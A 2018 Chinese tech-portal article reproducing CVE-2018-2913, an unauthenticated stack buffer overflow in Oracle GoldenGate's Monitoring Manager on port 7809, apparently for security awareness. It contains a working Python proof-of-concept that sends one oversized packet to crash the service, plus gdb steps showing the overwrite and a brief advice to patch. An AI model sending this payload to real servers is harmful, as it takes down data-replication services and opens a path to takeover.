炼数成金 门户 大数据 安全 查看内容

快修复!Oracle爆出CVSS10高危漏洞——cve-2018-2913复现

2018-10-29 10:25| 发布者: 炼数成金_小数| 查看: 14596| 评论: 0|来自: 第59号

摘要: 甲骨文(Oracle)每季度的例行重要补丁更新,修复了 301 个安全漏洞,其中有 45 个被列为严重(Critical)等级,在 CVSS 漏洞评分系统上达到 9.8 分,最严重的 CVE-2018-2913 为 10 分。cve-2018-2913复现!!CVE-2018-2 ...

数据库 Hadoop Oracle 培训 硬件 Goldengate

甲骨文(Oracle)每季度的例行重要补丁更新,修复了 301 个安全漏洞,其中有 45 个被列为严重(Critical)等级,在 CVSS 漏洞评分系统上达到 9.8 分,最严重的 CVE-2018-2913 为 10 分。cve-2018-2913复现!! 

CVE-2018-2913是Oracle GoldenGate组件中的漏洞(子组件:Monitoring Manager),该组件一般监听在7809端口,通过未经身份验证的远程攻击者提供格式错误的命令,就可能发生堆栈缓冲区溢出,从而导致该程序崩溃而无法正常运行甚至导致Oracle GoldenGate的接管。目前受影响的版本为12.1.2.1.0,12.2.0.2.0和12.3.0.1.0。 

Oracle GoldenGate用于在各种企业系统间以亚秒级速度复制和集成事务数据,是同类较佳的、易于部署的产品。Oracle GoldenGate 可以灵活地在同类和异类系统(包括不同版本的 Oracle Database、不同的硬件平台)之间以及 Oracle 数据库和非 Oracle 数据库(包括 Microsoft SQL Server、用于开放系统和 z/OS 的 IBM DB2、Sybase 等等)之间移动数据。

CVE-2018-2913复现 
演示环境:(192.168.210.194 )Oracle GoldenGate version 12.3.0.1.0 

./ggsci –> start mgr 启动mgr监听,到这里我们可以看到7809端口已经开始监听 

通过python向7809端口发送恶意构造的包如下 
import sys
import struct
import socket

ip = '192.168.210.194'
port = 7809
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (ip, port)
print '[+] connecting to %s port %s' % server_address
sock.connect(server_address)
print '[+] sending crash text'
cmd = 'hzmc\taaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
length = struct.pack(">H", len(cmd))
sock.sendall(length + cmd)
print '[+] Fin.'
sock.close()
执行脚本,观察ggserr.log日志,监听程序已经接收到数据包并处理 

此时该程序已经崩溃,监听端口关闭

也就是说,针对开启Oracle GoldenGate组件中Monitoring Manager服务的服务器,只需要发送一个包,就可以导致对方服务崩溃。

CVE-2018-2913 调试
1.开启mgr服务,查看pid=29516
2.调试mgr服务;gdb –> attach 29516进行调试
3.bt 查看此时栈情况,初始化栈 

经过分析,在服务启动后,溢出位置在#5,在该位置断点,发包,重新看栈信息。

可以看到,我们数据包中过长的aaa已经溢出,并且覆盖了内存地址,从而导致程序崩溃。

修复建议
添加补丁,oralce补丁。

声明:文章收集于网络,如有侵权,请联系小编及时处理,谢谢!

欢迎加入本站公开兴趣群
软件开发技术群
兴趣范围包括:Java,C/C++,Python,PHP,Ruby,shell等各种语言开发经验交流,各种框架使用,外包项目机会,学习、培训、跳槽等交流
QQ群:26931708

Hadoop源代码研究群
兴趣范围包括:Hadoop源代码解读,改进,优化,分布式系统场景定制,与Hadoop有关的各种开源项目,总之就是玩转Hadoop
QQ群:288410967 

鲜花

握手

雷人

路过

鸡蛋

相关阅读

最新评论

热门频道

  • 大数据
  • 商业智能
  • 量化投资
  • 科学探索
  • 创业

即将开课

 

GMT+8, 2018-11-20 08:15 , Processed in 0.154172 second(s), 25 queries .